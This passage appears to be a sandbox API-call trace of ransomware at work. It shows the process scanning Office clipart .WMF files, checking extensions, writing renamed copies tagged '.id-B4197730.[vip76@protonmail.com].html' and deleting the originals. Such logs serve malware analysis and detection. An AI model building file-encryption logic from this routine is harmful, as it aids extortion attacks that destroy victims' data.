	[0075.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.259] lstrlenW (lpString=".7z") returned 3
	[0075.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.259] lstrlenW (lpString=".dbf") returned 4
	[0075.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.259] lstrlenW (lpString=".1cd") returned 4
	[0075.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.259] lstrlenW (lpString=".jpg") returned 4
	[0075.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.259] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.260] lstrlenW (lpString="BL00526_.WMF") returned 12
	[0075.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.260] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=27552) returned 1
	[0075.260] CloseHandle (hObject=0x334) returned 1
	[0075.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220
	[0075.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.269] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.269] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.269] GetLastError () returned 0x0
	[0075.269] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x6ba0, lpOverlapped=0x0) returned 1
	[0075.272] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x6bb0, lpOverlapped=0x0) returned 1
	[0075.273] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.273] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.273] SetEndOfFile (hFile=0x350) returned 1
	[0075.274] CloseHandle (hObject=0x350) returned 1
	[0075.275] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.275] SetEndOfFile (hFile=0x334) returned 1
	[0075.276] CloseHandle (hObject=0x334) returned 1
	[0075.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1
	[0075.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.277] lstrlenW (lpString=".doc") returned 4
	[0075.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.277] lstrlenW (lpString=".docx") returned 5
	[0075.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.277] lstrlenW (lpString=".pdf") returned 4
	[0075.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.277] lstrlenW (lpString=".xls") returned 4
	[0075.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.277] lstrlenW (lpString=".xlsx") returned 5
	[0075.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.277] lstrlenW (lpString=".ppt") returned 4
	[0075.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.277] lstrlenW (lpString=".zip") returned 4
	[0075.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.277] lstrlenW (lpString=".rar") returned 4
	[0075.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.277] lstrlenW (lpString=".bz2") returned 4
	[0075.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.277] lstrlenW (lpString=".7z") returned 3
	[0075.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.277] lstrlenW (lpString=".dbf") returned 4
	[0075.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.278] lstrlenW (lpString=".1cd") returned 4
	[0075.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.278] lstrlenW (lpString=".jpg") returned 4
	[0075.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.278] lstrlenW (lpString=".doc") returned 4
	[0075.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.278] lstrlenW (lpString=".docx") returned 5
	[0075.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.278] lstrlenW (lpString=".pdf") returned 4
	[0075.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.278] lstrlenW (lpString=".xls") returned 4
	[0075.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.278] lstrlenW (lpString=".xlsx") returned 5
	[0075.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.278] lstrlenW (lpString=".ppt") returned 4
	[0075.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.278] lstrlenW (lpString=".zip") returned 4
	[0075.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.278] lstrlenW (lpString=".rar") returned 4
	[0075.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.278] lstrlenW (lpString=".bz2") returned 4
	[0075.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.278] lstrlenW (lpString=".7z") returned 3
	[0075.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.279] lstrlenW (lpString=".dbf") returned 4
	[0075.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.279] lstrlenW (lpString=".1cd") returned 4
	[0075.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0075.279] lstrlenW (lpString=".jpg") returned 4
	[0075.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.279] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.279] lstrlenW (lpString="BL00648_.WMF") returned 12
	[0075.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.279] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=11500) returned 1
	[0075.279] CloseHandle (hObject=0x334) returned 1
	[0075.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220
	[0075.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.280] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.280] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.280] GetLastError () returned 0x0
	[0075.280] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x2cec, lpOverlapped=0x0) returned 1
	[0075.282] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0075.283] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.283] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.283] SetEndOfFile (hFile=0x350) returned 1
	[0075.283] CloseHandle (hObject=0x350) returned 1
	[0075.284] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.284] SetEndOfFile (hFile=0x334) returned 1
	[0075.285] CloseHandle (hObject=0x334) returned 1
	[0075.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1
	[0075.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.286] lstrlenW (lpString=".doc") returned 4
	[0075.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.286] lstrlenW (lpString=".docx") returned 5
	[0075.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.286] lstrlenW (lpString=".pdf") returned 4
	[0075.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.286] lstrlenW (lpString=".xls") returned 4
	[0075.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.286] lstrlenW (lpString=".xlsx") returned 5
	[0075.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.286] lstrlenW (lpString=".ppt") returned 4
	[0075.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.286] lstrlenW (lpString=".zip") returned 4
	[0075.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.286] lstrlenW (lpString=".rar") returned 4
	[0075.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.286] lstrlenW (lpString=".bz2") returned 4
	[0075.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.286] lstrlenW (lpString=".7z") returned 3
	[0075.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.287] lstrlenW (lpString=".dbf") returned 4
	[0075.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.287] lstrlenW (lpString=".1cd") returned 4
	[0075.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.287] lstrlenW (lpString=".jpg") returned 4
	[0075.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.287] lstrlenW (lpString=".doc") returned 4
	[0075.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString=".docx") returned 5
	[0075.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.287] lstrlenW (lpString=".pdf") returned 4
	[0075.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString=".xls") returned 4
	[0075.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.287] lstrlenW (lpString=".xlsx") returned 5
	[0075.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.287] lstrlenW (lpString=".ppt") returned 4
	[0075.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.287] lstrlenW (lpString=".zip") returned 4
	[0075.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.287] lstrlenW (lpString=".rar") returned 4
	[0075.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString=".bz2") returned 4
	[0075.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.287] lstrlenW (lpString=".7z") returned 3
	[0075.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.288] lstrlenW (lpString=".dbf") returned 4
	[0075.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.288] lstrlenW (lpString=".1cd") returned 4
	[0075.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0075.288] lstrlenW (lpString=".jpg") returned 4
	[0075.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.288] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.288] lstrlenW (lpString="BL00921_.WMF") returned 12
	[0075.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.288] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=4408) returned 1
	[0075.288] CloseHandle (hObject=0x334) returned 1
	[0075.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220
	[0075.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.289] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.289] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.289] GetLastError () returned 0x0
	[0075.289] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1138, lpOverlapped=0x0) returned 1
	[0075.551] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1140, lpOverlapped=0x0) returned 1
	[0075.557] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.557] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.557] SetEndOfFile (hFile=0x350) returned 1
	[0075.681] CloseHandle (hObject=0x350) returned 1
	[0075.715] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.715] SetEndOfFile (hFile=0x334) returned 1
	[0075.716] CloseHandle (hObject=0x334) returned 1
	[0075.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1
	[0075.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.717] lstrlenW (lpString=".doc") returned 4
	[0075.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.717] lstrlenW (lpString=".docx") returned 5
	[0075.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.717] lstrlenW (lpString=".pdf") returned 4
	[0075.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.717] lstrlenW (lpString=".xls") returned 4
	[0075.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.717] lstrlenW (lpString=".xlsx") returned 5
	[0075.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.718] lstrlenW (lpString=".ppt") returned 4
	[0075.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.718] lstrlenW (lpString=".zip") returned 4
	[0075.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.718] lstrlenW (lpString=".rar") returned 4
	[0075.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString=".bz2") returned 4
	[0075.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString=".7z") returned 3
	[0075.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.718] lstrlenW (lpString=".dbf") returned 4
	[0075.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.718] lstrlenW (lpString=".1cd") returned 4
	[0075.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.718] lstrlenW (lpString=".jpg") returned 4
	[0075.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.718] lstrlenW (lpString=".doc") returned 4
	[0075.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString=".docx") returned 5
	[0075.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.718] lstrlenW (lpString=".pdf") returned 4
	[0075.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.718] lstrlenW (lpString=".xls") returned 4
	[0075.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.719] lstrlenW (lpString=".xlsx") returned 5
	[0075.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.719] lstrlenW (lpString=".ppt") returned 4
	[0075.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0075.719] lstrlenW (lpString=".zip") returned 4
	[0075.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.719] lstrlenW (lpString=".rar") returned 4
	[0075.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.719] lstrlenW (lpString=".bz2") returned 4
	[0075.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.719] lstrlenW (lpString=".7z") returned 3
